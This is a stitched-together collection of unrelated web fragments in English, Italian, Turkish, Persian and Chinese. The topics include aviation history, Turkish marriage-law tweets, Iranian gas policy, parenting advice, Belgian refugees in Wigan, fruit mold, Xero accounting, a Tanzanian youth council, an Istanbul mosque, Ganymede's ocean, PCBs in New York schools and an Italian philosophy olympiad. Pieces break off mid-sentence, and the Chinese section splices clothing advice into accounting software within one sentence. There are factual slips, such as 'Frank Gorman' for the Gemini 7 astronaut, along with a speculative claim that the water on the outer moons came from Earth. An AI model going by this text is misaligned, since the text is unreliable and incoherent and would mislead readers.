If you can’t find just the right emoji to express yourself, then try downloading an app such as Makemoji. This allows you to create your own mini pictures, to send to friends in messages.Scegli il miglior investimento strategico
Il nostro scopo è far in modo che il sito web incontri utenti appartenenti al target di interesse, e non sia soltanto una vetrina.
Gli obiettivi dei servizi di consulenza strategica sono molteplici, tra questi:
- Valutazione di un eventuale investimento nel web;
- Analisi dello stato di un sito web preesistente, e verifica della possibilità di effettuare eventuali strategie di Digital Marketing su di esso;
- Valutazione della necessità di una nuova struttura web in grado di fornire tutte le condizioni necessarie per avere un buon ritorno di Digital Marketing;
- Determinazione delle strategie di Digital Marketing che possono essere messe in atto valide a breve, medio e lungo periodo.On This Day in Aviation History
Pan Am Grounds All Flights: December 4th In Aviation History
Tags: A-6 Intruder, Boeing 707, Boeing 737-200, Dagestan Airlines Flight 372, Douglas C-54, Douglas DC-8, Eastern Air Lines, Eastern Air Lines Flight 853, Gemini, Kuwait Airways Flight 221, Lockheed super Constellation, Malaysian Airlines Flight 653, Martinair Flight 138, Mil Mi-8, Pan Am, Poland, TWA, TWA Flight 42
2003: Close call for Polish Prime Minister Leszek Miller as the Mil Mi-8 helicopter he’s flying on crashes just outside of Warsaw. He suffers
1991: After declaring bankruptcy in August, Pan Am ends operations after 63 years of service. The last service flown is Flight 423, from Bridgetown, Barbados to Miami, operated by the Boeing 727-200 Clipper Goodwill (N368PA).
1984: Kuwait Airways Flight 221, flying from Kuwait City to Karachi, Pakistan, is hijacked by four Lebanese men and diverted to Tehran. Four hostages are killed and dumped on the tarmac, and the remaining passengers, especially Americans, are tortured every 5 minutes. Iranians eventually raid the aircraft and rescue all, but the hijackers are later released.
1983: In response to the attack on US bases in Beirut, US Navy A-6 Intruders attack targets in Libya.
1977: Malaysian Airlines Flight 653, a Boeing 737-200 (9M-MBD), crashes at Tanjung Kupang Johor in Malaysia, killing all 100 on-board. The aircraft had been hijacked and the cause of the crash itself is still unknown. The aircraft went down in a swamp, nearly straight-down, and there was not one recognizable body found.
1974: Martinair Flight 138, a DC-8-55 (PH-MBH) flying from Indonesia to Sri Lanka, crashes while on approach to Colombo-Bandaranaike Airport. The aircraft hit Anjimalai Mountain after descending below the minimum safe altitude, killing all 191 on-board.
1965: Eastern Airlines Flight 853, a Lockheed Super Constellation (N6218C), and TWA Flight 42, a Boeing 707 (N748TW) collide over Carmel, New York. Four people on the Eastern plane die when it crash lands in a wooded area in Danbury, Connecticut. The TWA aircraft is able to continue on to land on Runway 31L at JFK.
1965: Gemini 7 is launched from Cape Kennedy Air Force Station carrying astronauts Frank Gorman and James Lovell. It is the 4th manned Gemini flight, the 12th manned American flight and the 20th spaceflight of all time.
1961 - The National Air and Space Museum receives the Douglas C-54 transport “Sacred Cow” used by US Presidents Roosevelt and Truman.
1955 – Glenn L. Martin, founder of the Glenn L. Martin Company, dies at the age of 69.İşte Bekir Bozdağ'ın Twitter hesabından yaptığı o açıklamalar:
Tecavüzcü ile evlenerek cezadan kurtulma imkanı getirilmemiştir.Bunun aksini iddia edenler,konuyu bilerek ve isteyerek çarpıtanlardır.
Cebir,tehdit,hile ve iradeyi sakatlayan başka bir nedenle cinsel istismar suçunu işleyenler (tecavüzcüler),bu düzenlemeden yararlanamaz.
"TECAVÜZCÜLERİ KESİNLİKLE KAPSAMAMAKTADIR"
Düzenleme;cebir,tehdit, hile ve iradeyi sakatlayan başka bir sebeple birlikte olanları, yani tecavüzcüleri kesinlikle kapsamamaktadır.
Düzenleme; sadece evlenmiş; ama yaş şartı nedeniyle nikah yapamamış olanların,resmî nikahla evlenmeleri halinde uygulanacaktır. Düzenleme; sadece dışardaki kadının, içerdeki kocanın, bu evlilikten doğmuş çocukların ve ailelerin mağduriyetini gidermeye yöneliktir.
Küçük yaşta evlilikleri önlemek için Türkiye'de en önemli tedbirleri Ak Parti hükümetleri aldı. Eski TCK.'daki,evlenerek cezadan kurtulmayı sürekli sağlayan düzenlemeyi (Eski TCK. 423,434'ü) Ak Parti, 2004'te yürürlükten kaldırdı.
Eski TCK.'da "adabı umumiye ve nizamı aile aleyhine cürümler"başlığı altında düzenlenmiş cinsel saldırı suçlarını,...
Yeni TCK.'da;"kişilere karşı suçlar" kısmında,"vücut dokunulmazlığına karşı işlenen suçlar"arasına Ak Parti hükümeti aldı.
Eski TCK.'daki evlenme vaadiyle kızlık bozanın,aynı kızla evlenmesi halinde cezayı düşüren düzenlemeyi de Ak Parti kaldırdı(Eski TCK.423)
Erken yaşta evliliklerin önüne geçmek için zorunlu eğitimi 12 yıla Ak Parti hükümeti çıkardı.
Çocukları/kadınları korumak için Anayasaya pozitif ay
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ملی گاز ایران در افق ۱۴۱۰، میزان تقاضای گاز طبیعی در کشور بیش از ۱۳۵۰ میلیون متر مکعب در روز خواهد بود؛ این در حالیست که مقدار گاز شیرین قابل تحویل حدود ۹۵۰ میلیون مترمکعب در روز می باشد. به بیان دیگر اختلافی بیش از ۴۰۰ میلیون متر مکعب در تراز تولید و مصرف گاز طبیعی وجود خواهد داشت. پس کشور با چالش جدی تامین گاز مشترکین و مصرفکنندگان بخش های خانگی، تجاری، صنایع، پتروشیمی ها، سیمان، فوالد، پالایشگاه ها، نیروگاه ها و صادرات مواجه خواهد بود.
بخش چهارم: بحران های محتمل ناشی از عدم تامین گاز
۱. از دست رفتن تولید برق کشور حداقل به میزان ۷۰ درصد
۲. توقف فعالیت صنایع سنگین فوالد، آلومینیوم و سایر صنایع فلزی و نیز پتروشیمی ها
۳. توقف خدمات عمومی و شهری نظیر نانوایی ها و سایر مراکز خدمت رسانی به عموم
۴. اختلال در گرمایش مردم در مراکز شهری و روستایی به میزان حداقل ۹۵ درصد
۵. توقف تولید و خدمات در شبکه های تصفیه و توزیع آب، شبکه های پولی و بانکی، مخابراتی و ارتباطی،
خدمات درمانی و بیمارستانی به سبب اختلال در تامین برق
۶. توقف صادرات گاز و بدنبال آن ایجاد نارضایتی در روابط بین المللی خصوصاً با همسایگان و کاهش قدرت دیپلماتیک
۷. اختلال در حمل و نقل وابسته به سوخت گاز
۸. ایجاد نارضایتی عمومی و بازتاب های امنیتی، سیاسی و اجتماعی
بخش پنجم: راهکارهای اجرائی و سیاستی رفع ناترازی تولید و مصرف گاز طبیعی در کشور
ذیلاً با اهمیت ترین راهکارهای مواجهه با چالش مذکور ارائه می شوند:
۱- تشکیل معاونت راهبردی انرژی رئیس جمهور با وظایف ذیل:
- مدیریت یکپارچه مصرف انرژی کشور و کاهش «شدت انرژی»و «مدیریت مصرف انرژی» با بهره گیری از ابزار های مالی و فنی در بخش مدیریت و بهینه سازی مصرف انرژی و تدوین مقررات الزام آور در زمینه ساختمان و تمرکز بر اجرای دقیق آن با هدف استفاده از منابع قابل صرفه جویی در اینبخش حداقل به مقدار ۲۰۰ میلیون بشکه معادل نفت خام در سال با در نظر گرفتن متوسط رشد سالانه مصرف گاز (به میزان ۵.۹ درصد)، برق (۵ درصد) و نفت گاز (۷ درصد).
- تقویت ساختار شورای عالی انرژی با انتقال دبیرخانه شورا از سازمان برنامه و بودجه به این معاونت
- تعرفه گذاری یکپارچه حامل های انرژی و اجرای سیاستهای تشویقی در مورد مشترکین کم مصرف گاز و گرفتن قیمت تمام شده گاز بها و جریمه مشترکین پرمصرف بخصوص در فصول سرد سال و قطع گاز واحدهای مسکونی و ویلاهای خالی از سکنه.
- بهره گیری از ظرفیت رسانه های عمومی، رسانه های اجتماعی و سازمان های مردم نهاد برای فرهنگ سازی و تشویق مردم به مصرف بهینه انرژی.
- حمایت ویژه از شرکت های دانش بنیان و توسعه فناوریهای بهینه سازی مصرف انرژی.
- بازبینی طرح های انرژی رسانی به مناطق مختلف کشور مبتنی بر طرح های آمایش سرزمین
- متنوع ساختن منابع تامین برق و کاهش سهم گاز طبیعی در بخش تولید برق بوسیله توسعه جایگزین های مناسب خصوصاً انرژی های تجدیدپذیر حداقل به مقدار ۳۰ درصد افزایش نیاز سالانه کشور به برق، استفاده از زغال سنگ، نفت کوره و میعانات گازی در نیروگاه ها با رعایت ملاحظات زیست محیطی.
۲- اصلاح ساختار حکمرانی وزارت نفت بمنظور تفکیک وظایف حاکمیتی و تنظیم گری از وظایف تصدی گری
۳- اصلاح رابطه مالی شرکت ملی نفت و گاز در زنجیره تولید، فراورش، انتقال، ذخیره سازی و توزیع گاز
۴- ایجاد صندوق سرمایه گذاری توسعه میادین نفت و گاز با اولویت حل ناترازی گاز کشور
۵- تاسیس صندوق بهینه سازی انرژی و محیط زیست بمنظور اجرای طرح های بهینه سازی با اولویت مدیریت مصرف گاز
۶- توسعه ظرفیت ذخیره سازی زیر زمینی گاز طبیعی مشابه روند جهانی به میزان ۱۰ الی ۲۰ درصد مصرف سالانه برای پیک سایی در فصول سرد سال.
۷- افزایش متوسط بازده نیروگاه های حرارتی از ۳۸ درصد به حداقل ۵۰ درصد در کوتاه و میان مدت همزمان با از رده خارج کردن ۱۵ هزار مگاوات نیروگاه با بازده کمتر از ۲۵ درصد و تکمیل چرخه بخار ۸ هزار مگاوات نیروگاه گازی و ارتقای توربین های رده E نیروگاه های موجود به رده F و H به منظور
صرفه جویی سالانه ۱۱ میلیارد متر مکعب گاز طبیعی.
۸- حل و فصل مناقشات گازی با کشور ترکمنستان و از سرگیری واردات گاز طبیعی از کشور مذکور حداقل به مقدار ۵۰ میلیون مترمکعب در روز برای تامین نیاز شبکه شمال شرقی کشور.
۹- بهره گیری از شمارشگرهای(کنتورها) هوشمند جهت مشترکین عمده، خانگی و تجاری برای کنترل مصرف و نیز جلوگیری از دستکاری و سرقت گاز.
۱۰- طرح های نگهداشت تولید، به کارگیری روش های متعارف، ابتکاری و نوین مثل استفاده از کمپرسورهای فشار افزا، �
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صبانیت خود را آرام کند، احتمالاً در شرایط سخت نیز به خوبی عمل می کند.
و کودکی که می تواند احساسات خود را به شکل سالمی ابزار کند، احتمالاً روابط سالمتری نسبت به کودکی دارد که هنگام عصبانیت فریاد می زند و چیزهای بدی می گوید.
خبر خوب این است که همه بچه ها توانایی یادگیری مهارت های هوش هیجانی را دارند. آنها فقط برای یادگیری نیاز به بزرگسالان دارند.
روش های افزایش و تقویت هوش هیجانی کودکان
1. احساسات فرزندتان را برچسب گذاری کنید
بچه ها باید بدانند که چگونه احساسات خود را تشخیص دهند. شما می توانید به کودک خود کمک کنید تا برای احساسات خود اسمی بگذارد، حداقل برای احساساتی که فکر می کنید آن را درک می کند.
وقتی فرزند شما ناراحت است که یک بازی را باخته است، به او بگویید ” به نظر می رسد الان واقعاً عصبانی هستید، درست است؟
” اگر او غمگین به نظر می رسد، ممکن است به او بگویید “از اینکه به دیدن پدر بزرگ و مادربزرگ نمی رویم ناراحتی؟”
کلمات عاطفی مانند “عصبانی”، “ناراحت”، “خجالتی” و “ناراحت کننده” می توانند واژگانی برای بیان احساسات او بسازند.
فراموش نکنید که کلمات برای احساسات مثبت را نیز به او بیاموزید، مانند “لذت”، “هیجان زده”، “خوشحال” و “امیدوار”.
2. برای افزایش هوش هیجانی کودکان، همدلی را نشان دهید
هنگامی که فرزند شما ناراحت است، به خصوص وقتی که احساسات او کمی نمایشی به نظر می رسد، می توانید برای به حداقل رساندن این ناراحتی به او کمک کنید.
اما اظهار نظرهای تحقیر آمیز به فرزند شما یاد می دهد، احساسی که او دارد اشتباه است. بهترین روش این است که احساسات او را تایید کنید و همدلی نشان دهید، حتی اگر نمی فهمید که چرا آنقدر ناراحت است.
اگر فرزند شما گریه می کند چون به او گفته اید تا زمانی که اتاقش را تمیز نکند، او را به پارک نمی برید، به او بگویید: وقتی کاری که می خواهم انجام بدهم را انجام نمی دهم، ناراحت می شوم.
وقتی فرزند شما می بیند که احساس درونی او را درک می کنید، اجبار کمی در نشان دادن عواطف خود از طریق رفتارش حس می کند.
بنابراین به جای گریه کردن و فریاد زدن برای نشان دادن عصبانیت خود به شما، احساس بهتری خواهد داشت زیرا می داند که شما درک می کنید که در حال حاضر او ناراحت است.
3. مدل های مناسب برای بیان احساسات
کودکان باید بدانند که چگونه احساسات خود را به روشی متناسب از لحاظ اجتماعی بیان کنند.
بنابراین در حالی که گفتن “احساسات من لطمه خورده است” یا کشیدن تصویری از چهره غمگین می تواند مفید باشد، فریاد زدن و پرتاب کردن اجسام خوب نیست.
بهترین روش برای آموزش کودک در نحوه بیان احساسات، به وسیله مدل قرار دادن این مهارت ها در خودتان است.
کلمات مربوط به احساسات را در مکالمات روزمره خود قرار دهید و صحبت با آنها را تمرین کنید. جملاتی مانند این را بگویید،
“من عصبانی می شوم وقتی می بینم بچه ها در زمین بازی دعوا می کنند” یا “من خوشحال می شوم وقتی که دوستانمان برای شام پیش ما می آیند.
” مطالعات نشان داده است که میزان هوش هیجانی کودکان به احتمال زیاد به هوش هیجانی والدین مرتبط است.
بنابراین این را به عادت تبدیل کنید که به شکل روشنی روی مهارت های خود تمرکز کنید تا بتوانید الگوی مناسبی برای کودک خود باشید.
4. مهارت های مقابله ای سالم را آموزش دهید
وقتی بچه ها احساسات خود را درک کردند، لازم است یاد بگیرند که چطور با آن احساسات به روشی سالم برخورد کنند.
دانستن چگونه آرام کردن خود، تشویق یا مواجه شدن با ترس ها می تواند برای کودکان پیچیده باشد. مهارت های خاص را آموزش دهید.
برای مثال، کودک شما ممکن است یادگیری انجام چند تنفس عمیق در هنگام عصبانیت، برای آرام کردن خود بهره ببرد.
یک روش مناسب کودکان برای یادگیری این مهارت ها، شامل این است که به او بگویید “تنفس حباب” انجام دهد، به این صورت که از طرق بینی نفس بکشد و از طریق دهان هوا را بیرون دهد، مانند اینکه با دهان حباب درست می کند.
همچنین می توانید به کودکان کمک کنید تا یک کیت برای تعدیل احساسات خود درست کنند.
این کیت می تواند شامل یک کتاب رنگ آمیزی، یک کتاب لطیفه، موسیقی آرامش بخش و لوسیون هایی باشد که بوی خوبی دارند و می توانند با درگیر کردن حواس او باعث آرامش شوند.
وسایل را در جعبه مخصوصی قرار دهید که او تزئین می کند. سپس، زمانی که ناراحت است، به او یادآوری کنید که می تواند به سراغ کیت آرام بخش خود برود و با استفاده از آنها کنترل احساسات خود را تمرین کند.
5. مهارت های حل مسئله را توسعه دهید
بخشی از ایجاد هوش هیجانی، شامل یادگیری نحوه حل مشکلات است. پس از برچسب زدن و مورد خطاب قرار دادن
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d what stories they could tell?
Over 100 years ago, during the time of the First World War, tens of thousands of Belgians were forced to flee when their country was over-run, many came to Britain to find refuge, and within two months of the declaration of war, approximately two hundred thousand Belgian refugees were in Britain.
They were usually welcomed by the local dignitaries and cheering crowds, perhaps a band would play, and sometimes there was even a civic reception.
They were then received and settled by women's organising committees, who allocated them to willing hosts.
Wigan was no exception, and generous Wigan people warmly welcomed the Belgian refugees, as reported in the local press:
“On 15th October 1914 the first Belgian refugees to be cared for and housed in Wigan, arrived by train from Liverpool.
The group comprising of 5 families with ten adults and 8 children, from Lier near Antwerp, received an official welcome from the Mayor, Mayoress and other dignitaries.
The party then passed through a large cheering crowd to a horse drawn vehicle decorated with English and Flemish flags.
The crowd followed the wagonette up Wallgate to their new home at the corner of Earl Street and Upper Dickinson Street where they had a substantial evening meal.”
I wonder what stories those Belgian refugees could tell of their time spent in Wigan, I wonder if any of them decided to settle here permanently after the war had ended?
I wonder how many more buildings in Wigan have interesting stories to tell ...
This is what local, social history is all about, it’s not about remembering the dates of kings and queens and battles, it’s about real, everyday people and buildings, which all help to form the rich heritage of Wigan Borough.
If you know of any, we’d love to hear from you, please don’t hesitate to get in touch and share these with us.Molds that grow on fruit and other foods are tiny fungi that function as invasive species. Mold lands on the fruit and develops roots that bore down into fruit cells, which grow into spores that eventually become visible to the human eye. Moisture plays a role in attracting mold.Continue Reading
There are hundreds of thousands of mold fungi in the natural environment, and some of these molds are attracted to fruit. Mold that grows on hard fruits such as oranges, melons and grapefruit can be cut off of the fruit, leaving it edible. However, mold growing on soft fruits such as strawberries and peaches can easily penetrate the fruit's outer skin layer, causing damage inside the fruit. Moldy soft fruit must be discarded.
The longer fresh fruit is exposed to humidity or warm temperature, the more likely it is to become moldy. People should avoid bringing home fruits that may turn moldy by thoroughly checking fruits for bruising. They can also protect fresh fruits from mold by storing them in covered containers or plastic wrap. Refrigeration is another option as long as the refrigerator is clean and free of mold. Foods near the fruit must also be free of mold because it quickly spreads from one food source to another.Learn more about Food Facts用微信扫描二维码分享至好友和朋友圈
当你不为讨男朋友欢心而穿轻飘飘的蕾丝裙，
不为塑造性感而穿违背心愿的紧身衣，
不为营造专业性而穿硬邦邦的职业装。
你身上的衣服，
就会让你散发属于你的魅力。
这样的衣服我们称之为“合适的衣服”。
很多时候你无法选择“做自己”。
所以你要在“角色”与“自我”之间找到平衡。
没有哪件衣服能像西装外套一样，但是，其他形式的技术需要更新和改进的方式，现代云会计计划也是如此。 Xero是迄今为止的云会计计划之一，对其核心计划进行了重大变化。阅读以了解有关Xero程序更新的更多信息：
Xero.
Xero. 是一家在线商业平台，已成功分为不同国家的各种小型企业。它是一个首选会计计划，允许您在微风中进行工资单，报告和银行对帐。它还拥有使企业主能够与会计师或财务顾问无缝协作的特色。最后但肯定不是最不重要的，Xero软件只需一个看您的仪表板即可为您的业务活动提供实时视图。
Xero. 客户群
Xero. 成立于2006年，在新西兰。随着其增长继续获得势头，Xero在世界各地更为着名。迄今为止，Xero有400,000个支付客户。这些客户的大量大量属于新西兰，澳大利亚和英国。虽然Xero也在美国的客户群也在越来越多，但研究表明，大多数美国企业更喜欢 QuickBooks. over Xero.
Xero收购
Xero. 最近收购了Monchiila，以改善其提供的工资单。这种改进是Xero的一大跨飞跃，因为这一步骤旨在说服更多企业主通过改进的工资单位光顾Xero。 Xero程序中的其他显着改进包括一个改进的报告功能，希望与QuickBooks中的在线报告相提并论。
Xero. 的扩展客户群提供了一瞥，恰好是如何承诺的这一云会计工具。它不仅可以帮助您节省时间和金钱，它还赋予您更多地关注您的实际业务运营。随着所有这些知识，也许现在是时候了解自己的业务会计运营，看看是时候转移到云会计的时候了。
需要帮助改善您的业务财务状况？ D.&v在这里提供帮助！与我们今天的云顾问联系以了解更多信息 云会计 .美国驻坦桑尼亚临时代办Inmi Patterson博士以及劳工，青年，就业和残疾人事务部副部长Anthony Mavunde先生于2018年8月20日成立了全国青年咨询委员会，旨在解决实际问题。坦桑尼亚农村青年面临的世界挑战。
全国理事会是由“喂养未来的坦桑尼亚前进的青年”建立的，该活动由美国通过美国国际开发署（USAID）资助。
该活动在伊林加（Iringa），姆贝亚（Mbeya）和桑给巴尔（Zanzibar）地区实施，旨在鼓励农村青年参与坦桑尼亚的农业部门，为15至35岁的年轻人增加经济机会，同时促进健康的生活方式。
Chargéd'Affaires Patterson在致辞中指出，参加这项活动的年轻人“已经发现开办自己的农业综合企业，创造新的和创新的产品或应对社区面临的挑战是多么有利可图和有益。”
坦桑尼亚农业
农业是坦桑尼亚的经济支柱，2015年占坦桑尼亚国内生产总值的23％（2005年为29％），占总就业人数的67％。
根据国家’2016/17年至2020/2年国家五年发展计划，到2020年农业部门’GDP的份额应增加到24.9％，而总就业的份额应达到56.5％。
在2010年 SAGCOT建立了旨在改善坦桑尼亚农业生产率，粮食安全和生计的农业伙伴关系。
2016年3月，世行批准了一项7000万美元的SAGCOT投资项目，以支持坦桑尼亚的农业部门，并通过将小农户与农业综合企业联系起来，以增加收入和以工作为导向的增长来加强该部门。Piyale Pasha Mosque
|Piyale Pasha Mosque|
Shown within Istanbul
|Geographic coordinates||41°02′48″N 28°57′58″E / 41.0466°N 28.966°ECoordinates: 41°02′48″N 28°57′58″E / 41.0466°N 28.966°E|
|Length||30.5 metres (100 feet) (prayer hall)|
|Width||19.5 metres (64 feet)|
|Dome height (outer)||22.2 metres (73 feet)|
|Dome dia. (inner)||9.1 metres (30 feet)|
The Piyale Pasha Mosque (Ottoman Turkish: پیاله پاشا جامع Piyale Paşa Camii), also known as the Tersane Mosque (literally: Arsenal Mosque), is a 16th-century Ottoman mosque located in the Kasımpaşa neighborhood of Beyoğlu district in Istanbul, Turkey.
Unlike other mosques designed by Sinan that have a large central dome, the Piyale Pasha Mosque is constructed with six identical domes, arranged as two rows of three, each with a diameter of about 9 m (30 ft). It is one of only two mosques in Istanbul with multiple domes, the other being Vasat Atik Ali Pasha Mosque. The domes are supported in the center of the prayer hall by a pair of slender granite pillars. The minaret is placed in the centre of the anti-qibla wall. It was rebuilt in the middle of the 19th century. Around three walls of the interior are a row of Iznik tiles with inscriptions in a white thuluth script on a cobalt-blue background. The interior walls are now whitewashed but they were originally decorated. The stained-glass in the windows of the qibla wall is not original.
The domed octagonal mausoleum to the northwest of the mosque contains the tomb of Piyale Pasha together with those of his sons and daughters. Altogether there are thirteen sarcophagi. His wife, Gevherhan Sultan (daughter of Selim II), remarried and is entombed in Selim II's mausoleum next to Hagia Sophia.
A number of identical Iznik tiled lunette panels that are now on display in the Musée du Louvre in Paris, the Museu Calouste Gulbenkian in Lisbon and the Victoria and Albert Museum in London are believed to have been removed from the Piyale Pasha Mosque in the 19th century. The panels would have been placed above the lower row of windows. Another possibility is that the lunette tiles came from a now demolished kiosk that was associated with the mosque. Two tiles from another lunette panel and a pair of tiles that probably came from the mihrab were sold at auction by Christie's in 2004.
- Necipoğlu 2005, p. 424.
- Necipoğlu 2005, p. 426.
- Necipoğlu 2005, pp. 426-427.
- Inv. no. OA 7508, Paris: Musée du Louvre, retrieved 10 February 2012.
- Inv. no. OA 7509, Paris: Musée du Louvre, retrieved 10 February 2012.
- Inv. no. 1598B, Lisbon: Museu Calouste Gulbenkian, retrieved 12 January 2015.
- Queiroz Ribeiro 2009, p. 108.
- Inv. no. 1889:1 to 16-1897, London: Victoria and Albert Museum, retrieved 10 February 2012.
- Denny 2004, pp. 208, 213.
- Denny 2005, p. 154.
- Sale 6895 Lot 326: Two Iznik polychrome pottery tiles, London: Christie’s auction house, 27 April 2004, retrieved 10 February 2012.
- Sale 6895 Lot 241: Two Iznik pottery half tiles, London: Christie’s auction house, 27 April 2004, retrieved 10 February 2012.
- Denny, Walter B. (2004). Iznik: the artistry of Ottoman ceramics. London: Thames & Hudson. ISBN 978-0-500-51192-3.
- Denny, Walter B. (2005). "Dispersed Ottoman unified-field tile panels" (PDF). Benaki Museum Journal. 4, 2004: 149–157. ISSN 2407-9502.
- Necipoğlu, Gülru (2005). The Age of Sinan: Architectural Culture in the Ottoman Empire. London: Reaktion Books. ISBN 978-1-86189-253-9.
- Queiroz Ribeiro, Maria (2009). Iznik pottery and tiles in the Calouste Gulbenkian collection. Lisbon: Calouste Gulbenkian Foundation. ISBN 978-972-8848-58-3.
|Wikimedia Commons has media related to Piyale Pasha Mosque.|NASA, two days ago (March 12, 2015), confirmed what planet-watchers have known for years. Ganymede, the largest moon of Jupiter, has a thick layer of ice, with an ocean beneath. Ganymede becomes the third large moon in the solar system to harbor such vast amounts of liquid water. And once again, NASA and those who work the Science Beat indulge themselves, speculating about Life Beyond Earth. Well, NASA might have good reason to find life on these three moons. But that reason would never occur to them. The subglacial oceans of Ganymede and Europa (moons of Jupiter) and Enceladus (moon of Saturn), and their respective ice coverings, likely came from Earth. And this water likely brought living things with it.
Large moons of Jupiter and Saturn
Galileo Galilei first discovered the four largest moons of Jupiter: Io, Europa, Ganymede, and Callisto
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ating school staff allowed her son to place an air purifier in his classroom. But after his problems persisted, Ms. Donegan sent the air filter to a lab only to discover it captured dust with 995 parts per million of PCBs.
"It was very scary for me to know what was in that dust," said Ms. Donegan. "And it's upsetting to me as a parent that I had no idea what was going on each night at that school."
The DOE said it tested the school only to find no PCB levels. However, soil outside the school, which was found to have high levels of PCBs, was remediated.
Ms. Donegan, who is working closely with NYLPI to raise awareness about the need for PCB removal, now encourages parents to ask questions when their schools are undergoing construction projects.
This summer, the EPA and the DOE are testing five schools across the city for PCB levels as part of a pilot program. Of those, one -- PS 3 -- is on Staten Island. In a 2009 test for PCBs, the most recent, the school was found to have as much as 59,000 parts per million in exterior parts of some windows, documents show.
The goal of the pilot program is to find an efficient way of removing PCBs from all schools, said Mary Mears, a spokeswoman for the EPA.
"We don't believe it's posing an immediate and major risk in most cases, but if we can look at ways to best address it, that will be beneficial not just in New York City, but across the country," she said.
Still, advocates like Robert Herrick, senior lecturer at the Harvard School of Public Health, say the EPA's consideration to change the regulation on PCB removal throws a wrench in the effort to clean school buildings, especially now that the life of the caulk installed prior to 1978 is reaching the end of its life and window renovations are likely to take place across the country soon.
"The caulking, a lot of times, is deteriorating. It's peeling off the walls, literally falling onto the ground in some places," he said. "The idea of replacing this caulking is not a matter of if. It's when."1.1 La gara - fin dalla FASE D’ISTITUTO - e successivamente nelle FASI REGIONALE, NAZIONALE ed INTERNAZIONALE prevede un’unica prova scritta consistente in un saggio di argomento filosofico.
1.2 Gli studenti svolgeranno la prova in UNA delle seguenti lingue straniere: INGLESE, FRANCESE, TEDESCO E SPAGNOLO
1.3 Nella produzione del saggio – secondo l’orientamento affermatosi nelle ultime edizioni – è bene curare la PROBLEMATIZZAZIONE e l’ARGOMENTAZIONE più che la descrizione delle idee nella mera dimensione storica. La ricostruzione storica, pertanto, ha principalmente funzione di cornice ai problemi trattati e alla loro discussione critica; ne costituisce, cioè, la CONTESTUALIZZAZIONE.
Al fine di adeguare le performances degli studenti partecipanti alla gara 2013 agli standard internazionali di riferimento, potrà essere utile – in fase di preparazione - prendere visione degli elaborati delle precedenti edizioni delle Olimpiadi (http://www.philosophy-olympiad.org/).
2. OGGETTO DELLA PROVA
2.1 La Commissione esaminatrice preparerà una terna di tracce tra le quali verrà sorteggiato, alla presenza dei partecipanti, un solo tema da svolgere, il cui argomento generale sarà:
QUALI VIRTÙ PER LA CITTADINANZA?
2.2. La durata della prova sarà di quattro ore. La valutazione degli elaborati verrà effettuata secondo i criteri indicati al punto 3.1
3. VALUTAZIONE DELLE PERFORMANCES
3.1 La valutazione delle performances sarà effettuata:
- da una commissione di docenti nelle singole scuole per la selezione d’Istituto;
- da commissioni nominate ad hoc dalle sezioni locali della SFI per la selezione
Regionale;
- da un’unica commissione nominata dalla SFI per la selezione Nazionale.
3.2 Per la valutazione, le commissioni adotteranno i criteri
indicati nel regolamento internazionale e sotto riportati:
1. aderenza alla traccia,
2. comprensione filosofica dell'argomento,
3. validità argomentativa,
4. coerenza e originalità.
4. FASI E LIVELLI DEL PROCESSO DI SELEZIONE
4.1 SELEZIONE D’ISTITUTO: entro il 16 Marzo 2013
Ciascun Istituto d’Istruzione Superiore che desideri partecipare alla gara internazionale,
nominerà una commissione di docenti formulerà autonomamente una terna di tracce, da cui verrà sorteggiato, alla presenza dei partecipanti, un solo tema da svolgere pertinente all'argomento su indicato e procederà alla valutazione. Dopo aver svolto la selezione interna, dette Commissioni segnaleranno i vincitori alla COMMISSIONE REGIONALE DI PERTINENZA, candidandoli a partecipare al turno regionale di selezione. La segnalazione riguarderà il nominativo di UNO studente per ogni Istituto partecipante (Si considera Istituto unico anche quello che comprende più indirizzi). Verrà altresì comunicata alla Commissione regionale la lingua straniera scelta da ciascuno studente partecipante.
Nel caso in cui, a livello regionale, il numero delle scuole partecipanti sia particolarmente
esiguo, i Coordinatori responsabili per ciascuna regione potranno autonomamente decidere di ammettere alla selezione regionale PIÙ DI UNO studente per ciascun Istituto, informando per tempo le scuole interessate.
4.2 SELEZIONE REGIONALE: entro l’ 8 Aprile 2013
L’organizzazione delle selezioni regionali sarà curata dalle Commissioni ad hoc istituite (dove possibile) presso le sezioni locali della SFI.
Gli studenti – RISULTATI VINCITORI ALLA SELEZIONE D’ISTITUTO - parteciperanno ad una gara regionale (o interregionale) di cui saranno comunicate le rispettive sedi e date dalle Commissioni regionali.
I vincitori della selezione regionale – in numero di UNO STUDENTE PER OGNI REGIONE – parteciperanno alla gara nazionale.
4.3 SELEZIONE NAZIONALE: Roma 16 aprile 2013
Alla gara nazionale - che si svolgerà a Roma il giorno 16 aprile 2013 – parteciperanno gli studenti risultati vincitori alle selezioni regionali. Nell’ambito della selezione nazionale verranno individuati i DUE studenti italiani che parteciperanno alla gara internazionale che si svolgerà a Odense Denmark 16-19 maggio 2013.
5. MODALITÀ DI ISCRIZIONE E PARTECIPAZIONE
5.1 Le scuole che intendono partecipare all’iniziativa ne faranno richiesta ai Coordinatori regionali SFI di pertinenza inviando la richiesta anche al Coordinatore nazionale. (La richiesta può essere inoltrata utilizzando la scheda elettronica scaricabile dal sito SFI www.sfi.it).
5.2 Sulla domanda di partecipazione sarà indicato il nome di un docente referente che curerà il coordinamento dei lavori all’interno dell’istituto e assumerà la responsabilità dei rapporti con i comitati organizzativi (regionali e nazionali).
5.3 Sono ammessi gli studenti frequentanti l’ultimo biennio delle scuole superiori e che non abbiano compiuto 20 anni.
5.4 A selezione interna ultimata (entro il 16 Marzo 2013), i singoli Istituti comunicheranno ai Coordinatori regionali SFI di pertinenza i nominativi dei partecipanti con l’indicazione del punteggio conseguito da ciascuno studente e l’indicazione della lingua utilizzata. Le Commissioni regionali cureranno i rapporti con le scuole del territorio e organizzeranno la selezione, istituendo eventualmente anche premi regionali.
5.5 Gli studenti partecipanti dovranno dichiarare la propria disponibilità a recarsi (a proprie spese o della scuola di provenienza ed eventualmente accompagnati da un docente o da un genitore):
- a ROMA per la selezione nazionale;
- in ODENSE, DENMARK per la selezione internazionale.
Agli studenti che risulteranno più meritevoli nella gara nazionale -
nella prospettiva della
valorizzazione delle eccellenze - il consiglio Direttivo della Società Filosofica Italiana ha deliberato l’assegnazione di due premi: il primo di € 300,00 + diploma di merito; il secondo di € 200,00 + diploma di merito.
- Coordinatori regionali SFI ai quali le scuole comunicheranno le iscrizioni: gli indirizzi saranno pubblicati sul sito della SFI: www.sfi.it.Living in the outback
